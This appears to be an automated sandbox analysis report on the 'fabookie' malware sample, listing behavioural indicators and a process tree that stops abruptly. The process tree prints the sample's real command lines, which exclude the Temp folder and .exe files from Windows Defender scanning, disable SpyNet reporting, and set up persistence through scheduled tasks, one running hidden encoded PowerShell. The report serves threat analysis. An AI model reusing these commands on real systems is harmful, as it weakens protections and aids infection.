fabookie | 35794aedc3c64761d4e13da7f7513001bb12388542ee100c3eb9fe3dba84a484

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	9265b09595c59007e116c60605c28bd616387cf0dff79c7db8c5880e23cfef8e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	Sat0546bbc15e4.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	SkVPVS3t6Y8W.EXe
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	mshta.exe

Loads dropped DLL 9 IoCs

pid	Process
372	setup_install.exe
372	setup_install.exe
372	setup_install.exe
372	setup_install.exe
372	setup_install.exe
372	setup_install.exe
2596	Sat058b772138cf0f3.tmp
532	rundll32.exe
1912	taskkill.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Drops Chrome extension 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\hemlmgggokggmncimchkllhcjcaimcle\9.86.66_0\manifest.json	Sat05ae182be20069e.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 6 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
11	ip-api.com
140	ipinfo.io
141	ipinfo.io
247	ipinfo.io
248	ipinfo.io
271	ipinfo.io

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4548 set thread context of 3868	4548	Sat053bd2e87da.exe	115

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 17 IoCs

pid	pid_target	Process	procid_target
2668	372	WerFault.exe	82
2300	3720	WerFault.exe	107
864	3720	WerFault.exe	107
4392	3720	WerFault.exe	107
2428	3720	WerFault.exe	107
1392	3720	WerFault.exe	107
4020	3720	WerFault.exe	107
4892	3720	WerFault.exe	107
4932	3720	WerFault.exe	107
4768	3720	WerFault.exe	107
4292	3720	WerFault.exe	107
2604	3720	WerFault.exe	107
1392	3720	WerFault.exe	107
5428	5468	WerFault.exe	199
4580	2652	WerFault.exe	223
2980	4836	WerFault.exe	229
6816	5420	WerFault.exe	193

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sat056c52386ee94b16c.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sat056c52386ee94b16c.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sat056c52386ee94b16c.exe

Creates scheduled task(s) 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
5388	schtasks.exe
4560	schtasks.exe
308	schtasks.exe
5560	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Kills process with taskkill 3 IoCs

evasion

pid	Process
636	taskkill.exe
2968	taskkill.exe
1912	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2096	powershell.exe
2096	powershell.exe
312	Sat056c52386ee94b16c.exe
312	Sat056c52386ee94b16c.exe
2096	powershell.exe
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found
2032	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
312	Sat056c52386ee94b16c.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2192	Sat057428ebfd0d.exe
Token: SeDebugPrivilege	1596	Sat05d374c30e.exe
Token: SeCreateTokenPrivilege	3472	Sat05ae182be20069e.exe
Token: SeAssignPrimaryTokenPrivilege	3472	Sat05ae182be20069e.exe
Token: SeLockMemoryPrivilege	3472	Sat05ae182be20069e.exe
Token: SeIncreaseQuotaPrivilege	3472	Sat05ae182be20069e.exe
Token: SeMachineAccountPrivilege	3472	Sat05ae182be20069e.exe
Token: SeTcbPrivilege	3472	Sat05ae182be20069e.exe
Token: SeSecurityPrivilege	3472	Sat05ae182be20069e.exe
Token: SeTakeOwnershipPrivilege	3472	Sat05ae182be20069e.exe
Token: SeLoadDriverPrivilege	3472	Sat05ae182be20069e.exe
Token: SeSystemProfilePrivilege	3472	Sat05ae182be20069e.exe
Token: SeSystemtimePrivilege	3472	Sat05ae182be20069e.exe
Token: SeProfSingleProcessPrivilege	3472	Sat05ae182be20069e.exe
Token: SeIncBasePriorityPrivilege	3472	Sat05ae182be20069e.exe
Token: SeCreatePagefilePrivilege	3472	Sat05ae182be20069e.exe
Token: SeCreatePermanentPrivilege	3472	Sat05ae182be20069e.exe
Token: SeBackupPrivilege	3472	Sat05ae182be20069e.exe
Token: SeRestorePrivilege	3472	Sat05ae182be20069e.exe
Token: SeShutdownPrivilege	3472	Sat05ae182be20069e.exe
Token: SeDebugPrivilege	3472	Sat05ae182be20069e.exe
Token: SeAuditPrivilege	3472	Sat05ae182be20069e.exe
Token: SeSystemEnvironmentPrivilege	3472	Sat05ae182be20069e.exe
Token: SeChangeNotifyPrivilege	3472	Sat05ae182be20069e.exe
Token: SeRemoteShutdownPrivilege	3472	Sat05ae182be20069e.exe
Token: SeUndockPrivilege	3472	Sat05ae182be20069e.exe
Token: SeSyncAgentPrivilege	3472	Sat05ae182be20069e.exe
Token: SeEnableDelegationPrivilege	3472	Sat05ae182be20069e.exe
Token: SeManageVolumePrivilege	3472	Sat05ae182be20069e.exe
Token: SeImpersonatePrivilege	3472	Sat05ae182be20069e.exe
Token: SeCreateGlobalPrivilege	3472	Sat05ae182be20069e.exe
Token: 31	3472	Sat05ae182be20069e.exe
Token: 32	3472	Sat05ae182be20069e.exe
Token: 33	3472	Sat05ae182be20069e.exe
Token: 34	3472	Sat05ae182be20069e.exe
Token: 35	3472	Sat05ae182be20069e.exe
Token: SeDebugPrivilege	2096	powershell.exe
Token: SeDebugPrivilege	636	taskkill.exe
Token: SeShutdownPrivilege	2032	Process not Found
Token: SeCreatePagefilePrivilege	2032	Process not Found
Token: SeShutdownPrivilege	2032	Process not Found
Token: SeCreatePagefilePrivilege	2032	Process not Found
Token: SeShutdownPrivilege	2032	Process not Found
Token: SeCreatePagefilePrivilege	2032	Process not Found
Token: SeDebugPrivilege	2968	taskkill.exe
Token: SeShutdownPrivilege	2032	Process not Found
Token: SeCreatePagefilePrivilege	2032	Process not Found
Token: SeShutdownPrivilege	2032	Process not Found
Token: SeCreatePagefilePrivilege	2032	Process not Found
Token: SeShutdownPrivilege	2032	Process not Found
Token: SeCreatePagefilePrivilege	2032	Process not Found
Token: SeShutdownPrivilege	2032	Process not Found
Token: SeCreatePagefilePrivilege	2032	Process not Found
Token: SeShutdownPrivilege	2032	Process not Found
Token: SeCreatePagefilePrivilege	2032	Process not Found
Token: SeShutdownPrivilege	2032	Process not Found
Token: SeCreatePagefilePrivilege	2032	Process not Found
Token: SeShutdownPrivilege	2032	Process not Found
Token: SeCreatePagefilePrivilege	2032	Process not Found
Token: SeShutdownPrivilege	2032	Process not Found
Token: SeCreatePagefilePrivilege	2032	Process not Found
Token: SeShutdownPrivilege	2032	Process not Found
Token: SeCreatePagefilePrivilege	2032	Process not Found
Token: SeShutdownPrivilege	2032	Process not Found

Suspicious use of FindShellTrayWindow 27 IoCs

pid	Process
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
2032	Process not Found

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe
4840	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2032	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4920 wrote to memory of 372	4920	9265b09595c59007e116c60605c28bd616387cf0dff79c7db8c5880e23cfef8e.exe	82
PID 4920 wrote to memory of 372	4920	9265b09595c59007e116c60605c28bd616387cf0dff79c7db8c5880e23cfef8e.exe	82
PID 4920 wrote to memory of 372	4920	9265b09595c59007e116c60605c28bd616387cf0dff79c7db8c5880e23cfef8e.exe	82
PID 372 wrote to memory of 4504	372	setup_install.exe	85
PID 372 wrote to memory of 4504	372	setup_install.exe	85
PID 372 wrote to memory of 4504	372	setup_install.exe	85
PID 372 wrote to memory of 2380	372	setup_install.exe	86
PID 372 wrote to memory of 2380	372	setup_install.exe	86
PID 372 wrote to memory of 2380	372	setup_install.exe	86
PID 372 wrote to memory of 2648	372	setup_install.exe	87
PID 372 wrote to memory of 2648	372	setup_install.exe	87
PID 372 wrote to memory of 2648	372	setup_install.exe	87
PID 372 wrote to memory of 1540	372	setup_install.exe	88
PID 372 wrote to memory of 1540	372	setup_install.exe	88
PID 372 wrote to memory of 1540	372	setup_install.exe	88
PID 372 wrote to memory of 2000	372	setup_install.exe	89
PID 372 wrote to memory of 2000	372	setup_install.exe	89
PID 372 wrote to memory of 2000	372	setup_install.exe	89
PID 372 wrote to memory of 4604	372	setup_install.exe	90
PID 372 wrote to memory of 4604	372	setup_install.exe	90
PID 372 wrote to memory of 4604	372	setup_install.exe	90
PID 372 wrote to memory of 2028	372	setup_install.exe	91
PID 372 wrote to memory of 2028	372	setup_install.exe	91
PID 372 wrote to memory of 2028	372	setup_install.exe	91
PID 372 wrote to memory of 1684	372	setup_install.exe	92
PID 372 wrote to memory of 1684	372	setup_install.exe	92
PID 372 wrote to memory of 1684	372	setup_install.exe	92
PID 372 wrote to memory of 4636	372	setup_install.exe	93
PID 372 wrote to memory of 4636	372	setup_install.exe	93
PID 372 wrote to memory of 4636	372	setup_install.exe	93
PID 4504 wrote to memory of 2096	4504	cmd.exe	94
PID 4504 wrote to memory of 2096	4504	cmd.exe	94
PID 4504 wrote to memory of 2096	4504	cmd.exe	94
PID 2380 wrote to memory of 2192	2380	cmd.exe	113
PID 2380 wrote to memory of 2192	2380	cmd.exe	113
PID 372 wrote to memory of 2760	372	setup_install.exe	112
PID 372 wrote to memory of 2760	372	setup_install.exe	112
PID 372 wrote to memory of 2760	372	setup_install.exe	112
PID 372 wrote to memory of 112	372	setup_install.exe	111
PID 372 wrote to memory of 112	372	setup_install.exe	111
PID 372 wrote to memory of 112	372	setup_install.exe	111
PID 2648 wrote to memory of 212	2648	cmd.exe	95
PID 2648 wrote to memory of 212	2648	cmd.exe	95
PID 2648 wrote to memory of 212	2648	cmd.exe	95
PID 372 wrote to memory of 3132	372	setup_install.exe	110
PID 372 wrote to memory of 3132	372	setup_install.exe	110
PID 372 wrote to memory of 3132	372	setup_install.exe	110
PID 1540 wrote to memory of 4548	1540	cmd.exe	109
PID 1540 wrote to memory of 4548	1540	cmd.exe	109
PID 1540 wrote to memory of 4548	1540	cmd.exe	109
PID 2000 wrote to memory of 3428	2000	cmd.exe	108
PID 2000 wrote to memory of 3428	2000	cmd.exe	108
PID 2000 wrote to memory of 3428	2000	cmd.exe	108
PID 372 wrote to memory of 3876	372	setup_install.exe	96
PID 372 wrote to memory of 3876	372	setup_install.exe	96
PID 372 wrote to memory of 3876	372	setup_install.exe	96
PID 4604 wrote to memory of 3720	4604	cmd.exe	107
PID 4604 wrote to memory of 3720	4604	cmd.exe	107
PID 4604 wrote to memory of 3720	4604	cmd.exe	107
PID 2028 wrote to memory of 312	2028	cmd.exe	97
PID 2028 wrote to memory of 312	2028	cmd.exe	97
PID 2028 wrote to memory of 312	2028	cmd.exe	97
PID 2760 wrote to memory of 1844	2760	cmd.exe	98
PID 2760 wrote to memory of 1844	2760	cmd.exe	98

C:\Users\Admin\AppData\Local\Temp\9265b09595c59007e116c60605c28bd616387cf0dff79c7db8c5880e23cfef8e.exe
"C:\Users\Admin\AppData\Local\Temp\9265b09595c59007e116c60605c28bd616387cf0dff79c7db8c5880e23cfef8e.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4920
- C:\Users\Admin\AppData\Local\Temp\7zS833323C6\setup_install.exe
  "C:\Users\Admin\AppData\Local\Temp\7zS833323C6\setup_install.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:372
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4504
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2096
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Sat057428ebfd0d.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2380
  - - C:\Users\Admin\AppData\Local\Temp\7zS833323C6\Sat057428ebfd0d.exe
      Sat057428ebfd0d.exe
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:2192
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Sat053d2789b60d.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2648
  - - C:\Users\Admin\AppData\Local\Temp\7zS833323C6\Sat053d2789b60d.exe
      Sat053d2789b60d.exe
      4⤵
      Executes dropped EXE
      PID:212
    - - C:\Users\Admin\Pictures\Adobe Films\sVfrpIasnlnh7xw4OkFeDIDj.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\sVfrpIasnlnh7xw4OkFeDIDj.exe"
        5⤵
        
        PID:5420
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5420 -s 1088
        6⤵
        Program crash
        
        PID:6816
    - - C:\Users\Admin\Pictures\Adobe Films\0EWq5l1aoqWHuEs49ZhfQcN1.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\0EWq5l1aoqWHuEs49ZhfQcN1.exe"
        5⤵
        
        PID:5408
    - - C:\Users\Admin\Pictures\Adobe Films\0ua2AJPmLTEV3VwqHOJqtZGq.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\0ua2AJPmLTEV3VwqHOJqtZGq.exe"
        5⤵
        
        PID:5436
      - C:\Users\Admin\AppData\Roaming\WinSupUpdata\client32.exe
        
        "C:\Users\Admin\AppData\Roaming\WinSupUpdata\client32.exe"
        6⤵
        
        PID:5140
    - - C:\Users\Admin\Pictures\Adobe Films\j4eTwqE8y6BDATpITeYIDfwg.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\j4eTwqE8y6BDATpITeYIDfwg.exe"
        5⤵
        
        PID:5444
    - - C:\Users\Admin\Pictures\Adobe Films\zO2cx7Np3_p6oVkdTZezT0qd.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\zO2cx7Np3_p6oVkdTZezT0qd.exe"
        5⤵
        
        PID:5452
      - C:\Windows\SysWOW64\regsvr32.exe
        
        "C:\Windows\System32\regsvr32.exe" /U .\QA4mRtJ.P6 /s
        6⤵
        
        PID:5248
    - - C:\Users\Admin\Pictures\Adobe Films\GFvyb4nOxm_7HaDhz1EcyKaw.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\GFvyb4nOxm_7HaDhz1EcyKaw.exe"
        5⤵
        
        PID:5460
      - C:\Windows\Temp\123.exe
        
        "C:\Windows\Temp\123.exe"
        6⤵
        
        PID:2652
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        7⤵
        
        PID:4888
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2652 -s 144
        7⤵
        Program crash
        
        PID:4580
      - C:\Windows\Temp\321.exe
        
        "C:\Windows\Temp\321.exe"
        6⤵
        
        PID:4836
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        7⤵
        
        PID:1804
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\bebra.exe
        8⤵
        
        PID:2668
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4836 -s 140
        7⤵
        Program crash
        
        PID:2980
    - - C:\Users\Admin\Pictures\Adobe Films\kLKLgw0Qa9g5LaW4rvS6_U49.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\kLKLgw0Qa9g5LaW4rvS6_U49.exe"
        5⤵
        
        PID:5468
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        6⤵
        
        PID:2928
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5468 -s 300
        6⤵
        Program crash
        
        PID:5428
    - - C:\Users\Admin\Pictures\Adobe Films\WlY5k9e1i5ODwM81XFguiYio.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\WlY5k9e1i5ODwM81XFguiYio.exe"
        5⤵
        
        PID:5476
      - C:\Users\Admin\AppData\Local\Temp\is-EV4NS.tmp\WlY5k9e1i5ODwM81XFguiYio.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-EV4NS.tmp\WlY5k9e1i5ODwM81XFguiYio.tmp" /SL5="$1023A,1518240,54272,C:\Users\Admin\Pictures\Adobe Films\WlY5k9e1i5ODwM81XFguiYio.exe"
        6⤵
        
        PID:5996
        
        C:\Program Files (x86)\MeetsoftFR\FinalRecovery\finalrecovery.exe
        
        "C:\Program Files (x86)\MeetsoftFR\FinalRecovery\finalrecovery.exe"
        7⤵
        
        PID:664
        
        C:\Users\Admin\AppData\Roaming\{6eb576c0-6208-11ed-9190-806e6f6e6963}\Slp21FK.exe
        
        8⤵
        
        PID:3712
    - - C:\Users\Admin\Pictures\Adobe Films\AT6AoE3KBU_aLNxVt3Cv_AWv.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\AT6AoE3KBU_aLNxVt3Cv_AWv.exe"
        5⤵
        
        PID:5484
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
        6⤵
        Creates scheduled task(s)
        
        PID:308
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
        6⤵
        Creates scheduled task(s)
        
        PID:5560
      - C:\Users\Admin\Documents\RE3zw5mbx0cROopA755qZNbz.exe
        
        "C:\Users\Admin\Documents\RE3zw5mbx0cROopA755qZNbz.exe"
        6⤵
        
        PID:2952
        
        C:\Users\Admin\Pictures\Adobe Films\lwc2GutPpyjk9O7y4gyRlSvO.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\lwc2GutPpyjk9O7y4gyRlSvO.exe"
        7⤵
        
        PID:5036
        
        C:\Users\Admin\Pictures\Adobe Films\3IQJMH3BCgpsslKDtoAFdF5a.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\3IQJMH3BCgpsslKDtoAFdF5a.exe"
        7⤵
        
        PID:5764
        
        C:\Users\Admin\Pictures\Adobe Films\8e6t8Kx8f2BbKyao1FqkqEQB.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\8e6t8Kx8f2BbKyao1FqkqEQB.exe"
        7⤵
        
        PID:5852
        
        C:\Users\Admin\Pictures\Adobe Films\hMRpeaSoqPCV4T4FbROAhkVs.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\hMRpeaSoqPCV4T4FbROAhkVs.exe"
        7⤵
        
        PID:5868
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"
        8⤵
        
        PID:1568
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInUtil.exe"
        8⤵
        
        PID:5516
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngentask.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngentask.exe"
        8⤵
        
        PID:5500
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
        8⤵
        
        PID:3764
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe"
        8⤵
        
        PID:1236
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\jsc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\jsc.exe"
        8⤵
        
        PID:1800
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe"
        8⤵
        
        PID:5636
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe"
        8⤵
        
        PID:4084
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe"
        8⤵
        
        PID:1332
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe"
        8⤵
        
        PID:5884
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe"
        8⤵
        
        PID:5844
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
        8⤵
        
        PID:3248
        
        C:\Users\Admin\Pictures\Adobe Films\faogxUh5hsoytjFrM41fE45P.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\faogxUh5hsoytjFrM41fE45P.exe"
        7⤵
        
        PID:5848
        
        C:\Users\Admin\AppData\Local\Temp\7zS632A.tmp\Install.exe
        
        .\Install.exe
        8⤵
        
        PID:6036
        
        C:\Users\Admin\AppData\Local\Temp\7zS6FAD.tmp\Install.exe
        
        .\Install.exe /S /site_id "525403"
        9⤵
        
        PID:4280
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        10⤵
        
        PID:5132
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        11⤵
        
        PID:5248
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        12⤵
        
        PID:3536
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        12⤵
        
        PID:6188
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        10⤵
        
        PID:5704
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        11⤵
        
        PID:1440
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        12⤵
        
        PID:5300
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        12⤵
        
        PID:5672
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gJqSFKGOU" /SC once /ST 00:11:28 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        10⤵
        Creates scheduled task(s)
        
        PID:5388
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "gJqSFKGOU"
        10⤵
        
        PID:6324
        
        C:\Users\Admin\Pictures\Adobe Films\RKURyCdl7LXqPJ6FdtvYYVjj.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\RKURyCdl7LXqPJ6FdtvYYVjj.exe"
        7⤵
        
        PID:5932
        
        C:\Windows\SysWOW64\control.exe
        
